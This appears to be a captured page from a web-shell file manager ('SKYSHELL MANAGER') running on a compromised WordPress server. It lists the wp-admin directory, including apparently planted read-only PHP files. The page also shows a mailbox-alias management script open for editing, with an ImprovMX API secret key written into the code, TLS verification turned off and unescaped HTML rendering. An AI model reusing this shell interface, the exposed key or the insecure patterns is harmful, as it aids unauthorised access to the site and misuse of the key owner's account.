📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: mailbox-alias.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; // Allow only User if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'User') { header("Location: index.php"); exit; } // ImprovMX API Configuration $API_KEY = "sk_41c0c1b0a3b646a487fb026b7ddf5896"; $BASE_URL = "https://api.improvmx.com/v3"; function call_improvmx($endpoint, $method = 'GET', $data = null) { global $API_KEY, $BASE_URL; $ch = curl_init($BASE_URL . $endpoint); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERPWD, "api:" . $API_KEY); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 15); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); if ($data) curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } elseif ($method === 'DELETE') { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curlError = curl_error($ch); curl_close($ch); if ($curlError) { return ['code' => 500, 'data' => ['success' => false, 'error' => $curlError]]; } return ['code' => $httpCode, 'data' => json_decode($response, true)]; } // Backend AJAX Handlers if (isset($_GET['action'])) { header('Content-Type: application/json'); $action = $_GET['action']; if ($action === 'get_domains') { echo json_encode(call_improvmx('/domains')['data']); exit; } if ($action === 'check_dns' && isset($_GET['domain'])) { echo json_encode(call_improvmx('/domains/' . urlencode($_GET['domain']) . '/check', 'GET')['data']); exit; } if ($action === 'add_domain' && $_SERVER['REQUEST_METHOD'] === 'POST') { $input = json_decode(file_get_contents('php://input'), true); echo json_encode(call_improvmx('/domains', 'POST', ['domain' => $input['domain']])['data']); exit; } if ($action === 'delete_domain' && isset($_GET['domain'])) { echo json_encode(call_improvmx('/domains/' . urlencode($_GET['domain']), 'DELETE')['data']); exit; } if ($action === 'get_aliases' && isset($_GET['domain'])) { echo json_encode(call_improvmx('/domains/' . urlencode($_GET['domain']) . '/aliases')['data']); exit; } if ($action === 'add_alias' && isset($_GET['domain']) && $_SERVER['REQUEST_METHOD'] === 'POST') { $input = json_decode(file_get_contents('php://input'), true); echo json_encode(call_improvmx('/domains/' . urlencode($_GET['domain']) . '/aliases', 'POST', $input)['data']); exit; } if ($action === 'delete_alias' && isset($_GET['domain']) && isset($_GET['alias'])) { echo json_encode(call_improvmx('/domains/' . urlencode($_GET['domain']) . '/aliases/' . urlencode($_GET['alias']), 'DELETE')['data']); exit; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($_SESSION['user']['company']); ?> - Mailbox Manager</title> <link rel="icon" type="image/svg+xml" href="<?php echo htmlspecialchars($_SESSION['user']['fav']); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> <style> .dns-box { background: #f8fafc; border: 1px solid #cbd5e1; padding: 12px; border-radius: 6px; margin-bottom: 16px; font-family: monospace; font-size: 13px; } .domain-item { padding: 12px; border: 1px solid #e2e8f0; border-radius: 6px; margin-bottom: 8px; cursor: pointer; display: flex; justify-content: space-between; align-items: center; transition: all 0.2s ease; } .domain-item:hover { background-color: #f1f5f9; } .domain-item.active { border-color: #2563eb; background-color: #eff6ff; } </style> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="<?php echo htmlspecialchars($_SESSION['user']['company']); ?>" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">Main</div> <a href="mailbox.php" class="nav-link active"><i class="bi bi-envelope-at"></i> Mailbox Manager</a> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN WRAPPER ===================== --> <div class="main-wrap"> <div class="topbar"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary"><i class="bi bi-list"></i></button> <div> <div class="fw-bold">Mailbox Manager</div> <div class="breadcrumb-mini">Dashboard / Mailbox</div> </div> </div> <div class="d-flex align-items-center gap-3"> <span id="account-status" class="badge bg-warning text-dark px-3 py-2">Connecting API...</span> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle small" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> <?php echo htmlspecialchars($_SESSION['user']['username']); ?> </button> <ul class="dropdown-menu dropdown-menu-end"> <li> <a class="dropdown-item text-danger" href="logout.php"> <i class="bi bi-box-arrow-right me-2"></i> Logout </a> </li> </ul> </div> </div> </div> <!-- Page Content --> <div class="page-content"> <div class="row g-4"> <!-- Left Column: Add Domain & Domain List --> <div class="col-lg-4"> <!-- Add Domain Card --> <div class="card-panel mb-4"> <div class="card-panel-head"> <h6 class="fw-bold mb-0"><i class="bi bi-plus-circle me-1"></i> Add Domain</h6> </div> <div class="card-panel-body"> <div class="mb-3"> <input type="text" id="new-domain-input" class="form-control" placeholder="example.com"> </div> <button class="btn btn-brand w-100" onclick="addDomain()"> <i class="bi bi-plus-lg me-1"></i> Add Domain </button> </div> </div> <!-- Domains List Card --> <div class="card-panel"> <div class="card-panel-head"> <h6 class="fw-bold mb-0"><i class="bi bi-globe me-1"></i> Your Domains</h6> </div> <div class="card-panel-body"> <div id="domain-list" class="text-muted small">Loading domains...</div> </div> </div> </div> <!-- Right Column: Selected Domain Details and Aliases --> <div class="col-lg-8"> <div id="domain-details-card" class="card-panel" style="display: none;"> <div class="card-panel-head d-flex justify-content-between align-items-center"> <h6 class="fw-bold mb-0" id="selected-domain-title">Select a domain</h6> <div class="d-flex gap-2"> <button class="btn btn-sm btn-outline-secondary" onclick="checkDNS()"> <i class="bi bi-arrow-repeat me-1"></i> Re-check DNS </button> <button class="btn btn-sm btn-outline-danger" onclick="deleteDomain()"> <i class="bi bi-trash me-1"></i> Delete Domain </button> </div> </div> <div class="card-panel-body"> <!-- DNS Information --> <div class="mb-4"> <h6 class="fw-bold text-brand mb-2"><i class="bi bi-info-circle me-1"></i> Required DNS Setup</h6> <div class="dns-box"> <strong>MX 10:</strong> mx1.improvmx.com<br> <strong>MX 20:</strong> mx2.improvmx.com<br> <strong>TXT:</strong> v=spf1 include:spf.improvmx.com ~all </div> </div> <hr class="my-4"> <!-- Add Alias Form --> <h6 class="fw-bold text-brand mb-3"><i class="bi bi-person-plus me-1"></i> Add New Alias</h6> <div class="row g-2 mb-4"> <div class="col-md-5"> <input type="text" id="alias-name" class="form-control" placeholder="alias (e.g. info or *)"> </div> <div class="col-md-5"> <input type="email" id="alias-forward" class="form-control" placeholder="destination@gmail.com"> </div> <div class="col-md-2"> <button class="btn btn-brand w-100" onclick="addAlias()">Create</button> </div> </div> <!-- Active Aliases Table --> <h6 class="fw-bold text-brand mb-3"><i class="bi bi-list-ul me-1"></i> Active Aliases</h6> <div class="table-responsive"> <table class="table table-hover align-middle"> <thead class="table-light"> <tr> <th>Alias</th> <th>Forwards To</th> <th class="text-end">Action</th> </tr> </thead> <tbody id="alias-table-body"> <tr><td colspan="3" class="text-muted">Select a domain to view aliases</td></tr> </tbody> </table> </div> </div> </div> </div> </div> </div> </div> <!-- ===================== JAVASCRIPT ===================== --> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> <script> const PHP_SELF = window.location.pathname; let selectedDomain = null; async function fetchDomains() { try { const res = await fetch(`${PHP_SELF}?action=get_domains`); const data = await res.json(); if (data && data.domains) { const statusBadge = document.getElementById("account-status"); statusBadge.textContent = "API Connected"; statusBadge.className = "badge bg-success px-3 py-2"; renderDomainList(data.domains); } else { const errorMsg = (data && data.error) ? data.error : "Failed to load domains"; throw new Error(errorMsg); } } catch (err) { console.error(err); const statusBadge = document.getElementById("account-status"); statusBadge.textContent = "Connection Error"; statusBadge.className = "badge bg-danger px-3 py-2"; document.getElementById("domain-list").innerHTML = `<p class="text-danger small">${err.message}</p>`; } } function renderDomainList(domains) { const container = document.getElementById("domain-list"); if (!domains || !Array.isArray(domains) || domains.length === 0) { container.innerHTML = "<p class='text-muted small mb-0'>No domains found in account.</p>"; return; } container.innerHTML = domains.map(d => { const domainName = d.domain || d.display; const isActive = d.active; return ` <div class="domain-item ${selectedDomain === domainName ? 'active' : ''}" onclick="selectDomain('${domainName}')"> <strong class="small">${domainName}</strong> <span class="badge ${isActive ? 'bg-success' : 'bg-warning text-dark'}"> ${isActive ? 'Active' : 'Pending DNS'} </span> </div> `; }).join(''); } async function selectDomain(domain) { selectedDomain = domain; document.getElementById("domain-details-card").style.display = "block"; document.getElementById("selected-domain-title").textContent = domain; // Refresh highlight in domain list fetchDomains(); await fetchAliases(domain); } async function checkDNS() { if (!selectedDomain) return; alert(`Checking DNS propagation for ${selectedDomain}...`); const res = await fetch(`${PHP_SELF}?action=check_dns&domain=${encodeURIComponent(selectedDomain)}`); const data = await res.json(); alert(data.valid ? "DNS configuration is valid!" : "DNS not yet detected. Please update your MX/TXT records."); fetchDomains(); } async function fetchAliases(domain) { const tbody = document.getElementById("alias-table-body"); tbody.innerHTML = `<tr><td colspan="3" class="text-muted">Loading aliases...</td></tr>`; try { const res = await fetch(`${PHP_SELF}?action=get_aliases&domain=${encodeURIComponent(domain)}`); const data = await res.json(); if (data && data.aliases && data.aliases.length > 0) { tbody.innerHTML = data.aliases.map(a => ` <tr> <td><strong>${a.alias === '*' ? '* (Catch-all)' : a.alias}</strong></td> <td>${a.forward}</td> <td class="text-end"> <button class="btn btn-sm btn-outline-danger" onclick="deleteAlias('${encodeURIComponent(a.alias)}')"> <i class="bi bi-trash"></i> Delete </button> </td> </tr> `).join(''); } else { tbody.innerHTML = `<tr><td colspan="3" class="text-muted">No aliases configured yet.</td></tr>`; } } catch (err) { tbody.innerHTML = `<tr><td colspan="3" class="text-danger">Failed to load aliases.</td></tr>`; } } async function addDomain() { const input = document.getElementById("new-domain-input"); const domain = input.value.trim(); if (!domain) return; const res = await fetch(`${PHP_SELF}?action=add_domain`, { method: "POST", headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ domain }) }); const data = await res.json(); if (data.errors) { alert("Error adding domain: " + JSON.stringify(data.errors)); } else { input.value = ""; fetchDomains(); } } async function deleteDomain() { if (!selectedDomain || !confirm(`Are you sure you want to delete ${selectedDomain}?`)) return; await fetch(`${PHP_SELF}?action=delete_domain&domain=${encodeURIComponent(selectedDomain)}`); selectedDomain = null; document.getElementById("domain-details-card").style.display = "none"; fetchDomains(); } async function addAlias() { const aliasInput = document.getElementById("alias-name"); const forwardInput = document.getElementById("alias-forward"); if (!aliasInput.value || !forwardInput.value || !selectedDomain) return; const res = await fetch(`${PHP_SELF}?action=add_alias&domain=${encodeURIComponent(selectedDomain)}`, { method: "POST", headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ alias: aliasInput.value.trim(), forward: forwardInput.value.trim() }) }); const data = await res.json(); if (data.errors) { alert("Error adding alias: " + JSON.stringify(data.errors)); } else { aliasInput.value = ""; forwardInput.value = ""; fetchAliases(selectedDomain); } } async function deleteAlias(alias) { const rawAlias = decodeURIComponent(alias); if (!confirm(`Delete alias ${rawAlias}?`)) return; await fetch(`${PHP_SELF}?action=delete_alias&domain=${encodeURIComponent(selectedDomain)}&alias=${alias}`); fetchAliases(selectedDomain); } document.addEventListener("DOMContentLoaded", fetchDomains); </script> </body> </html>
Save